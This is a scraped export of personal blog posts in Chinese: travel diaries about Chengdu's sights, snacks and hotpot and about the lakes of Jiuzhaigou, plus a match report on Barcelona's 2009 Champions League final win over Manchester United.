体已经很疲劳了，特别是在看过了九寨、峨嵋这样的名山靓水后多少都有了一些审美疲劳，游览市内这些景点的时候自然有些走马观花，心不在焉了。成都位于西部，早晨太阳出来较晚，另外成都的天总是雾蒙蒙的，每天都像是多云天气，看到晴空万里绝对是一种奢望。早上8点出酒店，坐公交首先来到青羊宫，本想进去看看，可发现青羊宫居然不在熊猫卡游览范围内，我和LP一商量，本来就没多大兴趣，索性就放弃了。在青羊宫那个路口向西走，也就是两站地，就可以看到杜甫草堂南门指示牌，顺着指示牌绕了一圈才来到草堂公园南门。从南门进入公园，一直走就会来到杜甫草堂入口，刷熊猫卡免费入园。虽然现在成都旅游不是什么旺季，但是人却也不少。园区内小景点甚多，我们没有那么多时间，遂沿着中轴只逛最主要景点- 杜甫草屋，位于景区中央的一处茅草屋，这就是诗圣杜甫曾居住过的地方，这地方倒是幽静，外围是郁郁葱葱的竹林，悠闲的很。\n青羊宫\n杜甫草堂正门(南)\n少陵草堂\n两个小时的游览路程，我们花了40分钟就看完了，从草堂北门出来，花5元钱坐车就可以到达下一个景点-武侯祠。全国有很多武侯祠，不过以成都这个规模和影响力最大。同样武侯祠也是熊猫卡范围内的景点。武侯祠倒是更值得看一下，里面除了供奉当年诸葛亮以及当年蜀国君臣外，还有很多历史介绍长廊可以一看，可以了解一下蜀地的历史文化和风俗风貌。\n武侯祠入口\n武侯塑像\n武侯祠名联-”能攻心，则反侧自消，从古知兵非好战”\n武侯祠名联-“不审势，即宽严皆误，后来治蜀要深思”\n三义庙\n武侯祠与锦里相连，锦里就是当地的民俗小吃一条街，以手工艺品出售和小吃为主，主要吸引外地游客。我们到这里主要还是想品尝一下当地的名小吃。小吃没有我想象的多，能吃的更不多，我和LP只是品尝了“三大炮”、“酸辣豆花”和“五粮春卷“，总体感觉一般，没有想象中的好，但也不差。小吃吗，就是吃一个新鲜，一般都不会再回来吃的，呵呵。\n古色古香的锦里\n“三大炮”\n五粮春卷\n酸辣豆花\n按照原计划晚上定要吃一次正宗四川火锅。可去哪里吃却成了问题，成都的火锅店太多了，哪个有特色又物美价廉呢，突然想起在君悦丽景酒店的街对面有一家”重庆刘一手“火锅，从书上看，这家店还不错。我们来到店里时，离吃饭点还有段时间，店内还没有顾客，我们是第一桌。我们铁定要尝试吃辣的了，所以要了一个牛油鸳鸯锅。吃上后才体会到其实四川火锅除了辣之外，更多的是油腻。锅里是麻辣牛油，蘸料居然还是香油，这与北方火锅有着很大不同。吃上一会儿后就感觉嘴唇上像是粘上了两片油膜，腻得很。油腻+麻辣让我们失望而归。也许不是成都火锅不好吃，是我们实在吃不习惯。刘一手火锅旁边就是一家玉林串串香店，不过满肚油腻的我们再也吃不下任何东西了。\n牛油火锅\n第八天从成都机场登机返回沈阳，再见成都！\n成都机场还算比较繁忙\n","permalink":"https://tonybai.com/2009/07/02/the-tour-of-chengdu/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/2009/06/24/the-tour-of-jiuzhaigou/\"\u003e去九寨\u003c/a\u003e的必经路之一就是成都。公司在成都有分舵，位于风景秀丽的青城山上，但5.12地震时青城山毁坏严重，公司也受到了不小的损失。公司总部这边的很多人到过成都出差，凡去多的人都说成都不错：东西不贵，生活节奏慢，是个宜居城市。\u003c/p\u003e\n\u003cp\u003e乘国航班机从沈阳飞往成都，途中遇到气流较多，飞机颠簸的较为厉害，那些日子恰逢法航的空难震惊世界，心中恐惧不免油然而生，只能加大耳机的音量麻痹自己的恐惧神经^_^。还好，飞机有惊无险的顺利到达成都双流机场，下飞机后第一件事就是办理两张\u003ca href=\"http://www.pandahome.com/pandacard/\"\u003e熊猫金卡\u003c/a\u003e。\u003c/p\u003e","title":"成都行记"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2009/06/25/triple-champion-the-best-birthday-gift/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"梅西·用三个冠军奖杯庆生"},{"content":"工作这几年去过全国很多地方，名山秀水也见识了不少，但是心底依然时常涌动着一种向往，那就是到九寨沟看看。九寨沟之美想必大家也都有所耳闻，但耳闻不如亲历。这不我终于有机会达成这一夙愿了：和LP一起走进童话世界-九寨沟。\n九寨风光，美在秋冬之际。红黄蓝绿四种颜色交相辉映，那才是真正的童话般的世界，如果你有幸再遇到一场白雪，那景色将不能不说是上天的恩赐。而六月份九寨的美则打了一些折扣，原因有二：颜色少+水位低。不过九寨之所以驰名中外，也在于其景色之韵味随四季而不同，无论如何其价值也超过了那百十来元的门票了。\n九寨处于高海拔的山地地区，交通条件自然比不了平原地带。进九寨无非两种方式：乘飞机或坐BUS。乘飞机入九寨有两条线路，成都-\u0026gt;九寨或重庆-\u0026gt;九寨，由于直线距离不长，不到一个小时就能到达九黄机场；但如果你是坐BUS，那你就要做好充足的准备，10几个小时的车程而且走的基本都是盘山路，要知道走盘山路的滋味可不是很好受；不过乘飞机也是要做好心理准备的，用当地藏族导游的话说：九黄机场，十趟航班九个黄。这充分说明了九寨地区天气状况多变的特点，一旦因天气原因不能飞，那种在机场苦等的滋味还不如乘BUS呢。这不这样的坏天气恰巧让我们碰到了。6月11日成都机场上午飞往九寨的航班都因为九黄机场降雪而延误，我们在成都机场整整等了半天时间。你要说盛夏季节还下雪？没错，这就是九寨！\n从飞机上俯视九寨地区\n九黄机场就像一座停泊在群山之间、山腰之上的航空母舰一样，机场跑道的两端都是山谷，地势十分险要。飞机降落时你丝毫没有在平原那种落地的感觉，因为通过舱内小窗户向外看，你看到的依然是群山环抱，下面就是深不见底的沟壑。出了机舱后才体会到什么是高原温度，真冷啊。机场到达口处有卖棉衣的，在大城市几十元一件的外衣，这里却要上200元到500元不等，还好我们带了几件长T恤，多套几件还能保暖。\n到了九黄机场不代表就到了九寨沟，两者之间还有近百公里的盘山路。一名藏族司机小伙儿和一名藏族美女导游负责接待我们。由于飞机晚点，我们错过了黄龙这个景点，只能直接入住宾馆了。从机场到宾馆沿途还有零星几个小景点，比如岷江源、甘海子等，导游还算热情周道，途中给我们预留了欣赏和拍照的时间。近两个小时的盘山路让我们已经疲劳的身体更加疲惫不堪，吃完晚饭，我们就休息了。夜间酒店的温度依然很低，中央空调没有开放，还好有电热毯，否则那夜将十分难熬。\n甘海子\n第二天吃罢早饭，导游就接我们入沟。酒店离沟口也就是几公里路程，十几分钟便到了。拿了门票，通过安检后，我们便进入了心慕已久的九寨世界。游九寨有多种方法，绝大部分游客会选择乘景区内环保车按照规定路线“走马观花”般的游览；当然如果你的体力足够充沛、时间十分充足的话，大可徒步走栈道细致体味九寨的美景，不放过每个细节。我们自然和多数游客一样，选择乘车游览。\n九寨正门\n九寨沟整个景区由三条呈Y型分布的沟组成，三条沟分别是树正沟、则查洼沟和日则沟。九寨主要的美景则主要集中在树正沟和日则沟两个沟内。常规的游览路线是，入沟后，先乘车沿树正沟游览，在树正群海下车，领略树正群海的美景；然后上车到达诺日朗中心区，听从景区调度中心调度。调度中心会根据景区游客分布情况选择你所乘车辆继续游览哪条沟。上午完成那条沟的游览，中午回到中心区就餐；下午继续游览另外一条沟，游览完毕后还可以回头乘车重温你之前未细致品味的景点。\n刚入沟，第一感觉这里怎么那么像我之前去过的“关门山”呢，但是当我再看到路旁那溪水冲击石子击出的雪白浪花时，我回到了现实，这里不是关门山，这里是九寨。\n小溪白色浪花\n坐上BUS（这里导游都会告诉游客坐在客车左面会欣赏到更好的景色），一边聆听随车讲解员的讲解，一边目不转睛的欣赏着窗外瑰丽的景色，并不时举起相机争分夺秒的争取将那一瞬即逝的美景留住。游览的过程如果用大段的文字描述的话不免会让人感觉乏味，下面我将用图片和注释来展示九寨的美。\n树正群海\n树正群海是入九寨后第一个美景比较集中的地方，也是进入九寨后第一个让游客近距离接触水的地方。湍急的溪水、古朴的磨坊、灵动的小水车都吸引大家驻足拍照。最让大家惊奇的还是九寨的水的透彻和纯净，白璧无瑕的那种感觉。\n第一次近距离欣赏九寨的水\n树正寨\n九寨因九个藏族山寨而得名。其中树正寨恰是这九个山寨中最大的一个。你可以看到当地居民的服饰和房屋样式，品尝到青稞酒与酥油茶，围着转经筒走上一圈，与招展的金藩来个合影。这里也是沟内最集中的购物场所，如果有兴趣可以给亲戚朋友带上些特色产品，像牦牛角梳子，似乎这里还是很正宗的，价钱也不贵。\n老虎海\n沿着树正群海的栈道继续向沟内方向游览，下一站就是老虎海。与树正群海不同的是这里的水静而蓝，就像一个蓝宝石镶嵌在山谷中。\n长海\n从老虎海上车，一直到诺日朗中心区，经调度，我们这辆车走左侧的则查洼沟，这条沟景点较少，有两个因泥石流形成的堰塞湖，这里称为上下季节海，在这个季节，这两个海都是干枯的，没有水，十分遗憾。在则查洼沟尽头是九寨最大的海子，也是海拔最高的海子 – 长海。不过游客从观景台上只能看到长海的三分之一，另三分之二被大山挡住了。长海的美在于其静，且与周围的雪山辉映。\n缺水的五彩池\n沿着长海的栈道向下，会来到则查洼沟的最后一个景点-五彩池，不过这个季节的五彩池景色要逊色太多，除了没有了五彩的衬托，水位偏低也让大家唏嘘不已。\n从则查洼沟乘车回到诺日朗中心区已是中午，也就是补充能量的时候了。因为沟内的食品比较昂贵，我看多数游客还是自带食品和水。休息大约一个小时，就出发继续游览了。下一站：日则沟。依旧是乘车前往。\n原始森林\n乘车沿着日则沟上行，直到沟尾，那里是广袤的原始森林，有些导游会告诉你这里不值得一游，但是时间充裕的话，为什么不来转转呢。沿着原始森林的栈道走上一圈也的确很累，特别是有些上坡的栈道，在高原地带爬坡真是一件困难的事情，时间不长我的肺部就有了些许痛感，无奈只能停下来大口喘气。\n箭竹海\n从原始森林乘车下来，途径草海和天鹅海，在箭竹海下车。这里的还依旧广袤，依旧蓝绿相间，不过海中有些杂质，不如前面看到的海那么纯净。这里的栈道两旁蚊虫较多，小心防范为妙。\n朽木出新枝\n熊猫海\n从箭竹海下来，你可步行或乘车到达下一站熊猫海，这个海子的景色要比箭竹海漂亮一些，特别是海子中倒伏的横七竖八的枯木，给海子增加了另一番情趣。\n熊猫海沉积物\n五花海\n见过前面那么多海子，你到了这里，游客多半会觉得五花海与前面的海子有些大同小异了。\n珍珠滩\n82版西游记的外景地，白马踏水而行走的就是这里。石与水的灵动让大家眼前一亮。\n珍珠滩瀑布\n沿栈道下行，回头可看到珍珠滩瀑布的壮美，不过这块栈道尚未修善完毕，不要走的太深了，否则你终究还是要爬回来的。记住：高原爬坡不容易。\n远处壮丽的雪山\n游览自然风光的时候切记：时不时要回头望望，也许你就能发现超美的景色。这个雪山就是这么捕捉到的。\n镜海\n日则沟离诺日朗中心区最近的一个海子，景如其名，无风如镜，水中看山，虚实难辨。但是如有一点微风，那便无法欣赏到如此的美景了。\n镜海朽木\n诺日朗瀑布\n从镜海一直沿栈道而行，这段距离并不短，坚持一下你就会来到诺日朗瀑布。这是九寨最宽阔的瀑布，十分的壮观。到了诺日朗瀑布也就表示沟内的景色你大多已经游览完毕了。这个时候估计你还有大把的时间，可以把树正沟附近一些未来得及细致品味的景点再游览一遍，特别是那个犀牛海，太漂亮了。\n犀牛海\n上午乘车从树正沟向中心区行驶时大家透过车窗都惊诧于犀牛海的美，但是这里并未停车。多数游客都是下午回到这里重游。犀牛海平静无风，山水呼应，和谐共生，那种静谧是从其他海子所体会不到的。\n犀牛海实物与倒影交相辉映\n也许这里称为镜海才更准确。\n在九寨出口听到一些游客如此感慨的说：黄龙看一遍就够了，但九寨却是百看不厌，秋天的时候再来。\n九寨沟国家地质公园\n","permalink":"https://tonybai.com/2009/06/24/the-tour-of-jiuzhaigou/","summary":"\u003cp\u003e工作这几年去过全国很多地方，名山秀水也见识了不少，但是心底依然时常涌动着一种向往，那就是到九寨沟看看。九寨沟之美想必大家也都有所耳闻，但耳闻不如亲历。这不我终于有机会达成这一夙愿了：和LP一起走进童话世界-九寨沟。\u003c/p\u003e","title":"走进九寨"},{"content":"巴塞罗那队 vs. 曼彻斯特联队，这绝对是一场世界足球公认的巅峰对决：\n1、它是西甲冠军与英超冠军的对决；\n2、它是艺术足球与实用足球风格的对决；\n3、它是梅西与C.罗之间为争取个人最高荣誉的对决；\n4、它也是“菜鸟少帅”瓜迪奥拉与“大虾老爵爷”弗格森之间的首次对决。\n对 于两只球队来说，本场比赛也必将是一场“刷数据”的较量，曼联若获胜将成为冠军杯改制以来首个卫冕成功的球队，并成为史上第一个“五冠王”（联赛杯、世俱 杯、社区盾、联赛冠军、欧冠冠军）；巴萨如果获胜，也将成为西班牙足球历史上首个“三冠王”，这一殊荣就连20世纪最佳球队皇马也未成拿到，同时也是近十 年来欧洲足坛既曼联后的又一“三冠王”球队。\n一场比赛却包含着这么多的意义，怎能不受到众球迷的关注呢！另外与近些年的欧冠决赛相比，本场比赛才是真正意义上的“冠军对决”，两个国家联赛本赛季的NO.1的对决，这无疑又给这场比赛增加了无穷魅力。\n赛前多数媒体看好曼联，特别是国内媒体认为目前的曼联已经达到了金庸小说中杨过的“重剑无锋”的境界，而巴萨则外具华丽，内欠沉稳，有些令狐冲的“独孤九剑”的味道。到底是“独孤九剑”招式更胜一筹还是“重剑无锋”的沉稳后来居上，让本场比赛吸引了全世界媒体的眼球。\n欧洲足球最高荣誉-圣伯莱德杯(俗称大耳朵杯)\n菜鸟少帅瓜迪奥拉与大虾老爵爷弗格森\n说完意义，再来说说过程。\n2009 年5月28日凌晨2点45分（北京时间），2008-09赛季欧洲足球最后的巅峰之战在“永恒之城”罗马的奥林匹克体育场上演。7万多球迷现场观看比赛， 另外全世界还有数以亿计的球迷将通过电视直播来收看这场比赛，这也是本赛季欧洲足球的收官之战。凭借小白伊涅斯塔补时阶段入球淘汰切尔西的西甲豪门巴塞罗 那队身穿传统红蓝主场队服迎来了英超红魔、卫冕冠军曼彻斯特联队的挑战；本场比赛双方都有人员因红黄牌停赛，巴萨损失“双翼”阿尔维斯和阿比达尔，而曼联 则损失了中场大将弗莱彻，但从阵容上来看，曼联更齐整一些。瓜迪奥拉排出的巴萨阵型如下：巴尔德斯镇守龙门，普约尔和老将西尔维尼奥分据后场左右两翼、中 卫皮克继续承担重任，镇守中路；亚亚图雷继续上一场对切尔西的角色客串中卫与皮克搭档；中场方面巴萨青训系统的佼佼者-双核哈维和小白伊涅斯塔继续充当巴 萨的发动机，布斯克茨担当后腰；前场则是本赛季攻击力冠绝欧洲的三叉戟组合-亨利、埃托奥和巴萨国王梅西。\n巴萨决赛首发11人\n曼 联方面老爵爷则排出了欧洲第一防线的全主力阵容：门将范德萨，两名1米90以上的中卫费迪南德和维迪奇占据中路，奥谢和埃弗拉分局两翼；中场安德森顶替停 赛的弗莱彻出任首发，卡里克和老队长吉格斯搭档担任曼联进攻的发动机；前场鲁尼、C罗和亚洲荣耀朴智星组成进攻三叉戟。\n开球后，有着去年 决赛经验的曼联先发制人，前10分钟，皮球基本一直在巴萨的半场，求胜心切的C罗在短短的10分钟内就完成了5次射门，其中多次都极具威胁，第一次远射还 造成巴尔德斯脱手，朴智星的补射被挡出。巴萨的三叉戟在对方前场连拿球的机会都很少。不过巴萨也就仅仅给了曼联这10分钟的表演机会，第10分钟，小将布 斯克茨防守头球顶到中圈附近，伊涅斯塔拿球与梅西做了传切配合后，带球长驱直入，禁区前沿直传埃托奥，埃托奥带球扣过维迪奇，小角度捅射，范德萨没能挡住 皮球入网，巴萨1:0取得梦幻般领先。巴萨全场第一次进攻、第一次射门就获得进球，不得不佩服巴萨的攻击力和攻击效率。这个进球也给曼联来了个下马威：与 巴萨打对攻没有好果子吃，皇马就是前车之鉴。\n埃托奥进球瞬间\n进 球后，巴萨开始了自己的控球表演，三叉戟开始发威，梅西在中场与哈维伊涅斯塔组成进攻三角，在前锋线与埃托奥和亨利组成锋线倒三角，这一战术模式在打强队 时越来越灵验，梅西的“威慑力”让曼联不得不派出大量兵力对其进行防守，梅西每次拿球都吸引大量对方球员，这也恰恰给巴萨其他球员带来的更多的机会。此时 场外曼联的球迷依旧不离不弃，以高亢的歌声来鼓励曼联的队员，但此时胜负的天枰已经倾向与巴萨了。\n梅西突破\n梅 西在第18分钟完成自己本场首次射门，埃托奥在右路接普约尔的手抛球，带球前突后将球回传给身后的梅西，梅西右路带球快速内切，在距门20米左右左脚大力 施射，范德萨飞身扑救，球擦着上门梁飞出，极具威胁的一脚射门。随后曼联发起一次很有威胁的反击，朴智星的单刀被巴尔德斯破坏。\n开场30 分钟之后，巴萨双核牢牢控制了中场，哈维、伊涅斯塔和梅西在对方的防守体系中如入无人之境，传球都恰到好处，对方只有靠犯规来截断巴萨流畅的传切配合了。 本场比赛曼联球员居然对巴萨中场没有严格逼抢，反倒是巴萨前场球员就地积极的反抢让曼联失误频频，不知道是老爵爷的战术安排出了问题，还是场上球员的战术 执行出了问题。第38分钟，梅西禁区中路巧妙挑传亨利，中卫费迪南德无奈只能背身向后摆腿勾球，还好老费的运气好，球没有变向，否则亨利拿到球后就形成必 杀单刀。第44分钟，梅西左路拿球用速度突破对方4名防守队员的包夹，在底线传中，范德萨及时出击拦住皮球。巴萨在上班场最后这段时间内完全控制住了比 赛，基本是在曼联的半场控球和围攻，曼联球员就是抢不下对方脚下的皮球。带着一个球的优势，巴萨结束了上班时的比赛。\n下半场曼联做出人员 调整，梅西的阿根廷国家队队友特维斯替换安德森上场，朴智星从右路换到左路。不过巴萨还是在下半场首先给曼联制造了威胁，下班时第3分钟，哈维中场直传， 亨利单刀直入，扣过费迪南德的防守，但最后的射门却被范德萨封杀，而此时中路梅西已经拍马赶到，如果亨利选择传球，那巴萨扩大优势。第50分钟，埃托奥直 传禁区找梅西，梅西在触球瞬间被对方后卫拉倒，但是裁判没有判罚点球。巴萨下半时更是牢牢控制住了场上局面，巴萨球员在对方半场拿球更加闲庭信步；曼联球 员似乎失去了斗志。第52分钟，伊涅斯塔被侵犯，巴萨在禁区前沿获得任意球，哈维的射门打在右边立柱上弹出，相信曼联的球迷又是惊出一身冷汗。\n第 70分钟，梅西上演锁定胜局之进球，哈维中路传出保姆式助攻，梅西在两名1米90以上的中后卫中间快速插上高高跃起头球吊射，范德萨只能目送足球入网，梅 西以一记非典型入球帮助巴萨锁定胜局，这粒入球也让梅西打破10场对英超球队不进球的魔咒，同时这粒头球也是对英超第一防线的最大的讽刺。\n梅西进球瞬间\n梅西用一粒头球证明自己才是世界NO.1\n梅西进球后拖鞋庆祝\n梅西进球后笑逐颜开\n2:0领先后，巴萨还有多次破门良机，要不是普约尔是后卫出身，比分绝不仅仅只是2:0。随着主裁一声哨响，巴萨历史性的拿到西甲首个“三冠王”，也是2000年以来欧洲第一个三冠王。\n低调谦虚的瓜迪奥拉吼叫释放心情\n巴萨，毫无争议的欧洲之王\n瓜迪奥拉无疑是本赛季巴萨最大功臣\n梅西终于拿到了属于自己的欧冠奖杯\n亨利在巴萨获得满贯\n本赛季巴萨以令人赏心悦目的华丽足球表演彻彻底底的征服了欧洲，征服了世界，皇马、里昂、拜仁、 切尔西、曼联等豪门先后被巴萨的艺术足球击败，本场比赛结束后，我们不得不承认瓜迪奥拉已经开创了巴萨的梦三时代，而在这只梦三队中，最耀眼的明星莫过于 本赛季获得欧冠最佳射手、最佳球员的梅西，另外本赛季梅西38个进球、18次助攻的完美数据也让我们有理由相信2009年绝对属于梅西，2009年欧洲金 